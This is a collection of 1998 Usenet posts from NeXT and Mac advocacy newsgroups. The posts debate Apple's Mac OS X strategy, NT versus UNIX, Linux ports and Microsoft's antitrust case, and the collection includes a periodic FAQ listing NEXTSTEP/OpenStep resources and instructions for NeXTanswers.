> Rhapsody - Intel path is dead ended, MacOS X is the future. Hardware
> sold in 1997 that was promised to support the 'new OS' won't support Mac
> OS X.
People weren't flocking to NeXT on Intel, so what difference would Rhapsody on
Intel have made?
How do you know what Mac OS X won't do a year from now?
> Apple is a lousy business partner. Get use to it.
I'm only a customer, not a business partner. ;) I just buy the hardware from
them. After that it's just Linux and me. :D
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
Message-ID: <363AA283.6134540C@trilithon.com>
From: Henry McGilton <henry@trilithon.com>
Organization: Trilithon Research
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's DoJ testimony.
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: Sat, 31 Oct 1998 00:35:37 EDT
Date: Fri, 30 Oct 1998 21:39:15 -0800
CaHand wrote:
* http://www.usdoj.gov/atr/cases/f2000/2010.htm
Great web site --- no response in the past 24 hours.
Yet Another Non-responding Website . . .
........ Henry
============================================================
Henry McGilton | Trilithon Software
Boulevardier, Java Composer | Seroia Research
-------------------------------+----------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
============================================================
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: Early Web expericence
Message-ID: <1998Oct29.153555.4110@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <7t7lxrpbea.fsf@libra.slac.stanford.edu>
Date: Thu, 29 Oct 1998 15:35:55 GMT
In article <7t7lxrpbea.fsf@libra.slac.stanford.edu>
pfkeb@libra.slac.stanford.edu (Paul F. Kunz) writes:
> jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
>
> > BTW, what happened to the cube that you put the first httpd in america
on?
> > Is it serving mail and news somewhere at SLAC, or is it under glass
> > somewhere, too?
>
> The first Web server in the US was *not* a NeXT Cube. It was an
> IBM mainframe (3081 or 3090). It's real name was
> slacvm.slac.stanford.edu. The machine was retired this year, having
> been replaced by UNIX and Windows NT machines.
Uh, oh. Here we go. The first grenade has been lobbed.
:-)
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
API. NeXT knew this when it
> chose to bring OpenStep APIs to Windows (although it blew it with the
> price), and Sun knew this when they brought Java out for Windows and
> other platforms.
>
> Sony still has high volume sales.
And the key here -- and one that I hope Apple understands -- is that being
the "Sony" doesn't give you carte blanche licnese to gouge your customers
and developers on price.
I have an excellent parallel here... when I went to buy a new TV a few
years ago, I was looking at several 27" models... I went with the Sony
because of reputation and quality. It was more costly... but only 8 - 10%
more than the rest. That was a fair tradeoff for me. I would have never
paid 8 - 10 TIMES the competitor's prices for a Sony. I hope Apple
understands that with MOSX.
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT(What apple should do)
Date: 31 Oct 1998 07:16:17 GMT
Organization: Idiom Communications
Message-ID: <71edg1$agg$1@news.idiom.com>
References: <71a2ln$195@newsb.netnews.att.com> <71dhh5$35n$1@nnrp1.dejanews.com>
<363a573e.25537487@news.earthlink.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: q@nospam.org
Mr. Q may or may not have said:
-> On Fri, 30 Oct 1998 23:19:01 GMT, hughesojh@my-dejanews.com wrote:
->
-[snip]
-> >I re-iterate, I have yet to meet a smart NTadmin.
-> >
-> >In article <71a2ln$195@newsb.netnews.att.com>,
->
-> Yeah, we know. Anyone not using a Mac is a total idiot. Mac advocates
-> know everything about computers. Everyone else is a clueless moron.
-> You should just keep believing that because ignorance is bliss.
I've met a handful of smart NT admins. What I haven't yet seen however, is
an NT admin who is both smart and happy to be an NT admin.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
Date: 31 Oct 1998 10:34:24 GMT
Organization: Idiom Communications
Message-ID: <71ep3g$27r$1@news.idiom.com>
References: <x7r9vrjkyo.fsf@loathe.com> <363A1A59.59EA8CC8@ncal.verio.com>
<x7pvb9jdlp.fsf@loathe.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: bmajik@loathe.com
Matt Evans may or may not have said:
-> Mike Paquette <mpaque@ncal.verio.com> writes:
->
-> > > and the AppKit, and all the GUI things that make NS/OS what they are.
-> > >
-> > > Then the Linux community should take that code, spend 2 weeks, and get
it all
-> > > running perfectly on Linux.
-> >
-> > Two weeks, huh? If you can actually organize a project of this scope
and see
-> > it through to completion in two weeks, I believe I can find a very nice
-> > position for you.
-> >
-> > Good grief...
->
-> maybe you're an inefficient programmer.
Or maybe he's a programmer who works for a company that has to meet certain
quality standards, and he's being realistic about supporting Intel hardware.
There's a difference between having a DPS that works at all, and having a
whole graphics system that deals with a reasonable set of the displays,
keyboards, mice, printers, etc. that exist in the intel/PC world.
Nextstep for Intel was *demonstrated* over a year before it was ready to
ship. Does that tellyou anything?
Matt, just between us, you're making a fool of yourself.
-jcr
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: "Chris Van Buskirk" <cvbuskirk@home.com>
Newsgroups: comp.sys.next.advocacy
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net> <stepr-3010982351440001@wor246080.columbus.rr.com>
Subject: Re: Avie's DoJ testimony.
Message-ID: <6bD_1.3348$nR3.10057454@news.rdc1.nj.home.com>
Date: Sat, 31 Oct 1998 12:14:58 GMT
NNTP-Posting-Date: Sat, 31 Oct 1998 04:14:58 PDT
Organization: @Home Network
AO wrote in message ...
>In article <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net>,
>ch3@earthlink.net (CaHand) wrote:
>
>> QuickTime, Rhapsody, Patent Issues, MS investment,
>> and more covered in Tevanians own words:
>>
>> http://www.usdoj.gov/atr/cases/f2000/2010.htm
>>
>>
>> Anyone else think this lays the groundwork for the
>> 1997 deal to be declared illegal? I do. Read it
>> and I'll think you'll agree.
>>
>> Best Regards,
>>
>> CaHand
>
>What pisses me off the that the "technology agreement also gives Microsoft
>the right of first refusal to develop the default browser for any new
>operating system Apple develops during the term of the agreement [5
>years]." I, for one, DO NOT want to see IE as a default browser on OS X
>Server or OS X.
Well, you won't see it on server. I imagine ominweb will have that honor.
You will probably see it in blue box though... I wonder if M$ made any
deals concerning macosx. Remember apple will continue to develope
with the original macos. I wish apple would buy omingroup, and develope
their own browser, and make it part of the OS.
>
>I really hope that, through this lawsuit, something is done about
>Microsoft's usage of its monopoly power.
Its coming.
>
>Akin
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT(What apple should do)
Date: Sat, 31 Oct 1998 08:43:21 -0800
Organization: University of British Columbia
Message-ID: <1dhr83w.1fdswgi50yqo0N@p036.intchg1.net.ubc.ca>
References: <71a2ln$195@newsb.netnews.att.com> <71dhh5$35n$1@nnrp1.dejanews.com> <363a573e.25537487@news.earthlink.net> <71edg1$agg$1@news.idiom.com>
User-Agent: MacSOUP/2.4b3
John C. Randolph <jcr.remove@this.phrase.idiom.com> wrote:
> I've met a handful of smart NT admins. What I haven't yet seen however, is
> an NT admin who is both smart and happy to be an NT admin.
You could probably say the same without mentioning NT.
For a whimsically vicious poster-essay on the state of happiness of
admins in general, see
<http://pfaff.newton.cam.ac.uk/ASR/adminspotting/final-rev.gif>.
--
Bruce Bennett
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Avie's DoJ testimony.
Date: Sat, 31 Oct 1998 17:48:42 +0100
Organization: Completely Disorganized
Message-ID: <1dhrs3c.1ius6pt3vwo5cN@port141.bonn.ndh.net>
References: <ch3-3010981749550001@ip177.seattle12.wa.pub-ip.psi.net> <stepr-3010982351440001@wor246080.columbus.rr.com> <6bD_1.3348$nR3.10057454@news.rdc1.nj.home.com>
NNTP-Posting-Date: 31 Oct 1998 16:48:42 GMT
Mail-Copies-To: never
User-Agent: MacSOUP/D-2.4b3
Chris Van Buskirk <cvbuskirk@home.com> wrote:
> I wish apple would buy omingroup, and develope
> their own browser, and make it part of the OS.
Please, no. That would be the surest way to kill it... :-[
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.schuerig.de/michael/
From: keyes@chem.bu.edu (Tom Keyes)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
Date: Sat, 31 Oct 1998 15:32:14 -0500
Organization: Boston University Chemistry Dept.
Message-ID: <keyes-ya02408000R3110981532140001@news>
References: <71a2ln$195@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <71a2ln$195@newsb.netnews.att.com>, gupta@knim.tm.tta.moc-mirror
after @ wrote:
> According to a story on TechWeb (that I got to via the following
> URL : http://www.newsnow.co.uk/cgi-bin/Goto/106147)
>
> "According to market researcher Dataquest, Unix growth is
> accelerating and outpacing that of NT......
> The analysts give as the reason is that NT is far behind the
> state-of-the-art, and ever-increasing in price......
>
It's a funny world when you have to cheer when the analysts and the IT
people in big corporations see the obvious, but so be it. NT is a toy
compared to UNIX and the only reason to use it for a server is if you're
blinded by MS marketing hype or caught up in following the herd. It's even
odder that people who pride themselves on a bottom-line focus could choose
the expensive mediocre product over a powerful free product. Wierd!!
Windows NT-what a marketing achievement!
> The time is as propitious as it ever could be for Apple to
> introduce its consumer/low-end-to-middle-range Unix variant,
> MacOS X Server.
>
Amen. Lets hope Apple doesn't FU and lets hope that the bully doesn't come
up with some new monopolistic tricks to push its inferior product to the
front.
--
Tom Keyes, Theoretical/Computational Chemist
Chemistry Department, Boston University, Boston MA 02215
http://chem.bu.edu/~keyes
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net> <3638a602.0@news.together.net> <slrn73hmck.rc.jason@jhste1.dyn.ml.org> <3639c836.0@news.together.net> <slrn73jt5b.5po.jason@jhste1.dyn.ml.org>
Subject: Re: Linux availibility for the Mac.
Date: Sat, 31 Oct 1998 04:22:02 -0500
Message-ID: <363b7d75.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Jason S. wrote in message ...
>Lance Togar posted the following to comp.sys.mac.advocacy:
>
>>>>>> >3. port Quicktime, etc to Linux
>
>>>>>> Much work.
>
>>>>>Why, exactly?
>
>>>>Reasonable performace requires direct access to the hardware. A no-no
for
>>>>servers. I'll save you some time by pointing out that MS shouldn't have
>>done
>>>>this with NT 4 either. OTH, NT has been around long enough for some of
the
>>>>bugs to be worked out.
>
>>>I take it that you never use XFree86, then?
>
>>You'd be wrong. Star Office too. Both aren't in the same ballpark as their
>>MS/Apple counterparts.
>
>What does StarOffice have to go with going directly to hardware?
..
It's another example of a highly GUIish application than would benefit from
a performance boost. I'm sure you'd agree that XFree86 *and* Star Office
aren't as responsive as their Windows/Mac counterparts - ignoring a feature
comparison for the moment.
..
..
Message-ID: <363BB07D.51083B58@nstar.net>
Date: Sat, 31 Oct 1998 18:51:09 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: About Linux, and OS-X
References: <x7r9vrjkyo.fsf@loathe.com> <363A1A59.59EA8CC8@ncal.verio.com>
<x7pvb9jdlp.fsf@loathe.com> <71ep3g$27r$1@news.idiom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John C. Randolph wrote:
> Or maybe he's a programmer who works for a company that has to meet certain
> quality standards,
Maybe! Or maybe it's just that he works for a company that has to meet
certain condescension standards. After all, he pokes his head in here to
pick on anyone who doesn't buy the party line, and says all sorts of
cryptic things he's never expected to back up. He's got a cute little
"wink wink nudge nudge" game going in this NG, and it's nauseating, to
say the least.
If Mike Paquette wants to explain what's so difficult about a Linux
port, I for one would welcome the verbiage.
> and he's being realistic about supporting Intel hardware.
> There's a difference between having a DPS that works at all, and having a
> whole graphics system that deals with a reasonable set of the displays,
> keyboards, mice, printers, etc. that exist in the intel/PC world.
>
> Nextstep for Intel was *demonstrated* over a year before it was ready to
> ship. Does that tellyou anything?
Driver support is the issue? And the reason is that Mike Paquette works
for Apple? I don't get it, I thought we were talking about a Linux port
done by the Linux community.
> Matt, just between us, you're making a fool of yourself.
But of course you didn't want to be left out.
MJP
From: jonathan@quern.demon.co.uk (Jonathan Sanderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: How dumb can MacOSRumors *be*?
Date: Sun, 1 Nov 1998 01:09:34 +0000
Message-ID: <1dhs3lz.113qhgexfvjmiN@quern.demon.co.uk>
References: <71ctee$bob$1@cronkite.cs.umd.edu> <1dhqjj8.1z0bonh1qfhnnlN@quern.demon.co.uk> <363A5B08.96AA4AAC@cygnus.com>
User-Agent: MacSOUP/2.4b3
John Rudd <jrudd@cygnus.com> wrote:
> Bleh.. it looks pretty lame to me. You _have_ to use a particular fortran
> compiler? with certain fortran packages? bleh.
They were using a set of extensions to the Absoft Fortran compiler which
support the way these things were done on Cray machines of early-90s
vintage. From what I can gather, old Cray code can be recompiled pretty
much straight off. There's an awful lot of (for example) chemistry
modelling code that's written to Cray compilers.
So, yeah, 'bleh,' but actually they have a highly appropriate system for
what they're trying to do.
Zilla sounds fun too, though. :)
--
Jonathan Sanderson <http://www.quern.demon.co.uk/jonathan>
'If I had more time, I would have written a shorter letter' (Pascal)
From: Fraggle@ThePentagon.com (Fraggle)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Linux availibility for the Mac.
Date: 1 Nov 1998 02:42:40 GMT
Organization: The Internet Group Ltd
Message-ID: <71ghr0$23m$1@newsource.ihug.co.nz>
References: <715536$7i3$1@nnrp1.dejanews.com> <A41CBC786918BB29.F45AE3AE1E14C41F.F8E0C307EEFB0DCD@library-proxy.airnews.net> <716pp8$4u6$1@dinkel.civ.utwente.nl> <3637535f.0@news.together.net> <A85252C77EEF538A.B0726B4E86BCB1F1.EB0AB62FCA0C8F08@library-proxy.airnews.net> <3637d46e.0@news.together.net> <36382662.E5727033@nstar.net> <3638a602.0@news.together.net> <slrn73hmck.rc.jason@jhste1.dyn.ml.org> <3639c836.0@news.together.net> <slrn73jt5b.5po.jason@jhste1.dyn.ml.org> <363b7d75.0@news.together.net>
On Sat, 31 Oct 1998 04:22:02 -0500, Lance Togar <ltogar@msn.com> wrote:
>
>Jason S. wrote in message ...
>>Lance Togar posted the following to comp.sys.mac.advocacy:
>>
>>>>>>> >3. port Quicktime, etc to Linux
>>
>>>>>>> Much work.
>>
>>>>>>Why, exactly?
>>
>>>>>Reasonable performace requires direct access to the hardware. A no-no
>for
>>>>>servers. I'll save you some time by pointing out that MS shouldn't have
>>>done
>>>>>this with NT 4 either. OTH, NT has been around long enough for some of
>the
>>>>>bugs to be worked out.
>>
>>>>I take it that you never use XFree86, then?
>>
>>>You'd be wrong. Star Office too. Both aren't in the same ballpark as their
>>>MS/Apple counterparts.
>>
>>What does StarOffice have to go with going directly to hardware?
>..
>It's another example of a highly GUIish application than would benefit from
>a performance boost. I'm sure you'd agree that XFree86 *and* Star Office
>aren't as responsive as their Windows/Mac counterparts - ignoring a feature
>comparison for the moment.
Star Office is slow and bloated. I'll give you that. It doesn't prove anything
about speed of XFree, which has more to do with the quality of the drivers.
Most people using XFree are using fairly generic X video drivers, and so of
course will not be as fast as the Windows/Mac driver written for a specific
video card. But a real performance test is comparing Windows applications
running in Windows to Windows applications running in WINE under Linux. WINE
in Linux often runs Windows applications faster than they run on Windows.
--
I hate mankind, for I think myself one of the best of them, and I know
how bad I am.
-- Samuel Johnson
From: sanguish@digifix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.next.announce,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.bugs,comp.sys.next.programmer
Subject: NEXTSTEP/OpenStep Resources on the Net
Supersedes: <18198909288022@digifix.com>
Date: 1 Nov 1998 04:47:06 GMT
Organization: Digital Fix Development
Message-ID: <2557909896420@digifix.com>
Topics include:
Major OpenStep/NEXTSTEP World Wide Web Sites
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
Major OpenStep/NEXTSTEP FTP sites
NeXTanswers
Major OpenStep/NEXTSTEP World Wide Web Sites
============================================
The following sites are a sample of the OpenStep related WWW
sites available. A comprehensive list is available on Stepwise.
Stepwise OpenStep/Rhapsody Information Server
http://www.stepwise.com
Stepwise has been serving the OpenStep/NEXTSTEP community
since March 1994. Some of the many resources on the site
include: original YellowBox and Rhapsody articles, mailing
list information, extensive listing of FTP and WWW sites
related to Rhapsody, OpenStep and NEXTSTEP, OpenStep related
Frequently Asked Questions.
NeXT Software Archives @ Peak.org
http://www.peak.org/next
http://www.peak.org/openstep
http://www.peak.org/rhapsody
PEAK is the premier NeXTStep/OpenStep FTP site in North
America.
Apple Enterprise Software Group
(formerly NeXT Computer, Inc.)
http://enterprise.apple.com
http://enterprise.apple.com/NeXTanswers
Here is where you'll find the NeXTanswers archive, with
information on OpenStep installation, drivers and software
patches.
Apple Computer's Rhapsody Developer Release Site
http://gemma.apple.com/rhapsody/rhapdev/rhapsody.html
These pages are focused on tools and resources you need to
develop great Rhapsody software products..
Rhapsody Developer Documentation
http://gemma.apple.com/techinfo/techdocs/rhapsody/rhapsody.html
WebObjects Documentation
http://gemma.apple.com/techinfo/techdocs/enterprise/enterprise.html
OpenStep/NEXTSTEP/Rhapsody Related Usenet Newsgroups
====================================================
COMP.SYS.NEXT.ADVOCACY
This is the "why NEXTSTEP is better (or worse) than anything
else in the known universe" forum. It was created specifically
to divert lengthy flame wars from .misc.
COMP.SYS.NEXT.ANNOUNCE
Announcements of general interest to the NeXT community (new
products, FTP submissions, user group meetings, commercial
announcements etc.)
This is a moderated newsgroup, meaning that you can't post
to it directly. Submissions should be e-mailed to
next-announce@digifix.com where the moderator (Scott Anguish)
will screen them for suitability.
Messages posted to announce should NOT be posted or crossposted
to any other comp.sys.next groups.
COMP.SYS.NEXT.BUGS
A place to report verifiable bugs in NeXT-supplied software.
Material e-mailed to Bug_NeXT@NeXT.COM is not published, so
this is a place for the net community find out about problems
when they're discovered. This newsgroup has a very poor
signal/noise ratio--all too often bozos post stuff here that
really belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-specific
groups as well.
COMP.SYS.NEXT.HARDWARE
Discussions about NeXT-label hardware and compatible peripherals,
and non-NeXT-produced hardware (e.g. Intel) that is compatible
with NEXTSTEP. In most cases, questions about Intel hardware
are better asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't the place
to buy or sell used NeXTs--that's what .marketplace is for.
COMP.SYS.NEXT.MARKETPLACE
NeXT stuff for sale/wanted. Material posted here must not be
crossposted to any other c.s.n.* newsgroup, but may be
crossposted to misc.forsale.computers.workstation or appropriate
regional newsgroups.
COMP.SYS.NEXT.MISC
For stuff that doesn't fit anywhere else. Anything you post
here by definition doesn't belong anywhere else in c.s.n.*--i.e.
no crossposting!!!
COMP.SYS.NEXT.PROGRAMMER
Questions and discussions of interest to NEXTSTEP programmers.
This is primarily a forum for advanced technical material.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
COMP.SYS.NEXT.SOFTWARE
This is a place to talk about [third party] software products
that run on NEXTSTEP systems.
COMP.SYS.NEXT.SYSADMIN
Stuff relating to NeXT system administration issues; in rare
cases this will spill over into .programmer or .software.
** RELATED NEWSGROUPS **
COMP.SOFT-SYS.NEXTSTEP
Like comp.sys.next.software and comp.sys.next.misc combined.
Exists because NeXT is a software-only company now, and
comp.soft-sys is for discussion of software systems with scope
similar to NEXTSTEP.
COMP.LANG.OBJECTIVE-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
COMP.OBJECT
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then again
OOP allows one to be a programmer/philosopher. (The original
comp.sys.next no longer exists--do not attempt to post to
it.)
Exception to the crossposting restrictions: announcements
of usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
===========================================
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups
are now available as a mailing list digest as well.
next-nextstep
next-advocacy
next-announce
next-bugs
next-hardware
next-marketplace
next-misc
next-programmer
next-software
next-sysadmin
object
lang-objective-c
(For a full description, send mail to listserv@antigone.com).
The subscription syntax is essentially the same as Majordomo's.
To subscribe, send a message to *-request@lists.best.com saying:
subscribe
where * is the name of the list
e.g. next-programmer-request@lists.best.com
Major OpenStep/NEXTSTEP FTP sites
=================================
ftp://ftp.next.peak.org
The main site for North American submissions formerly
ftp.cs.orst.edu
ftp://ftp.peanuts.org:
(Peanuts) Located in Germany. Comprehensive archive site.
Very well maintained.
ftp://ftp.nluug.nl/pub/comp/next
NeGeN/NiNe (NEXTSTEP Gebruikers Nederland/NeXTSTEP in the Netherlands)
ftp://cube.sm.dsi.unimi.it
(Italian NEXTSTEP User Group)
ftp://ftp.nmr.embl-heidelberg.de/pub/next
eduStep
ftp://ftp.next.com:
See below
ftp.next.com and NextAnswers@next.com
=====================================
[from the document ftp://ftp.next.com/pub/NeXTanswers/1000_Help]
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, read them on the world-wide
web, transfer them by anonymous ftp, or download them from the BBS.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to
nextanswers@next.com. Files are sent as NeXTmail attachments by
default; you can request they be sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
REPLY-TO address sets the e-mail address NeXTanswers uses
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO
If you have any problem with the system or suggestions for improvement,
please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS VIA THE WORLD-WIDE WEB
To use NeXTanswers via the Internet World-Wide Web connect to NeXT's web
server at URL http://www.next.com.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to nextanswers-request@next.com.
USING NEXTANSWERS BY MODEM
To use NeXTanswers via modem call the NeXTanswers BBS at (415) 780-2965.
Log in as the user "guest", and enter the Files section. From there you
can download NeXTanswers documents.
FOR MORE HELP...
If you need technical support for NEXTSTEP beyond the information available
from NeXTanswers, call the Support Hotline at 1-800-955-NeXT (outside the U.S.
call +1-415-424-8500) to speak to a NEXTSTEP Technical Support Technician.
If your site has a NeXT support contract, your site's support contact must
make this call to the hotline. Otherwise, hotline support is on a
pay-per-call basis.
Thanks for using NeXTanswers!
_________________________________________________________________
Written by:
Eric P. Scott ( eps@toaster.SFSU.EDU ) and
Scott Anguish ( sanguish@digifix.com )
Additions from:
Greg Anderson ( Greg_Anderson@afs.com )
Michael Pizolato ( alf@epix.net )
Dan Grillo ( dan_grillo@next.com )
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: UNIX outpaces NT
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
<71fp5e$1o2u$1@piglet.cc.uic.edu>
Message-ID: <HpU_1.12342$yb5.9642812@news.rdc1.sdca.home.com>
Date: Sun, 01 Nov 1998 07:51:03 GMT
NNTP-Posting-Date: Sat, 31 Oct 1998 23:51:03 PDT
Organization: @Home Network
In <71fp5e$1o2u$1@piglet.cc.uic.edu> Anil T Maliyekke wrote:
> Rex Riley (rr6013@yahoo.com) wrote:
> : In <71a2ln$195@newsb.netnews.att.com> gupta@knim.tm.tta.moc-mirror after
@
> : wrote:
>
> : In the end, Apple may become just another Monopolist, just different
than
> : MS. Unlike, Sony which Jobs portends Apple wants to be... Sony knows
> : standards sell and just builds the best hardware. Apple is still stuck
on
> : NIH mentality and ignores Linux, Sun, etc... in preference to their own
> : standards.
>
> : -r
>
> Remember BetaMax?
>
>
More than I'd like to...
> And why can't Sony and all the other DVD drive makers decide on
> a single DVD-RAM standard?
>
Innovation via competition? Dunno... you gonna tell?
> Let's face standards based hardware is great for consumers,
> but it really isn't that great for hardware makers.
This makes little sense. Surely, I'm missing the point. Did you mean to say
designer's instead of makers?
> Thats why all these
> companies are disagreeing on what the standard for read/write DVD should
> be.
>
>
Forget technologies for a moment and consider the predicament Apple's
Industry is in currently. Greater than 90% are non-Apple. That % remainder
are evenly dispersed among a handful of niche mfgrs. MS is standard.
Apple is no Sony. Apple is in no position to drive standards exc. maybe QT.
Instead, they are forging into the Future with a new OS which is
non-standard. True Apple offers the marketplace choice. But the choice is
among Monopolists. That vote is in...
Apple thinking like Sony would have MacOS X run on the other 90% of the
Industry. In otherwords, Sony would go where the money is to wit: SonyVHS.
Apple touting "Think Different" to 90% of an audience who can't buy Apple
product because it's, well, BetaMax is quixotic. Offering Industry a choice
of Monopolists is stalemate. DOJ anti-trust action might force MS into
check. Apple wants to be in the best position to benefit its MacOS. How
does Apple do that?
Standards. Apple meeting marketplace standards, exceeding expectations and
delivering on service wins marketshare. Can I send my kid off to College
with an Apple notebook? Hell no, since it won't run Windows applications.
Can I build a software business selling Apple applications? Hell no, since
90% of the software marketplace can't buy. Standards sell... Sony is
standard. Sony sells. Apple goes standard? Apple sells.
Otherwise, its back to evangelical mystic "Think Differnet" marketing so
Apple's _hardware makers_ can change their world.
-r
Date: Sun, 01 Nov 1998 09:05:27 -0800
From: rdm@cfcl.com (Rich Morin)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: UNIX outpaces NT
Message-ID: <rdm-0111980905280001@140.174.42.30>
References: <71a2ln$195@newsb.netnews.att.com> <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>
Organization: Canta Forda Computer Lab
In article <4%2_1.12015$yb5.8389541@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> Maybe... Apple could shoot itself in the foot and choose to take the Unix
> "high-road" ala Macintosh marketing strategy. They may push Mac GUI
> superiority to justify a "high-price" in the unix marketplace.
They may, but they are well positioned not to do so. Both Mach 3 and 4.4BSD-
Lite are Open Source software (but not, by and large, GPLed). Everyhing else
in Mac OS X (more or less) belongs to Apple. So, Apple is in a position where
it does not have to pay any royalties. This would allow them to price Mac OS X
down in the Mac OS price range, if they chose to do so.
> they may snub other Unix altogether and advocate an all Apple network.
> Apple may extend MacOS X server with proprietary extensions which preclude
> Mac users from using the wealth of apps available for other unices.
I don't get the impression that Apple wants to exclude any class of customers.
If they exclude NFS from their release, in favor of AppleShare, I will be VERY
surprised. OTOH, there are some things they need to fudge in Unix in order to
make it do Mac-like things in a Mac-like manner. For instance, aliases are not
symlinks, Unix file names are case-sensitive, and a general-purpose scheduler
is not, by definition, well optimized for real-time and multimedia support.
> In the end, Apple may become just another Monopolist, just different than MS.
More like "would-be monopolist". I am encouraged, however, by the fact that
Apple seems to understand that standards compliance is a Good Thing, even when
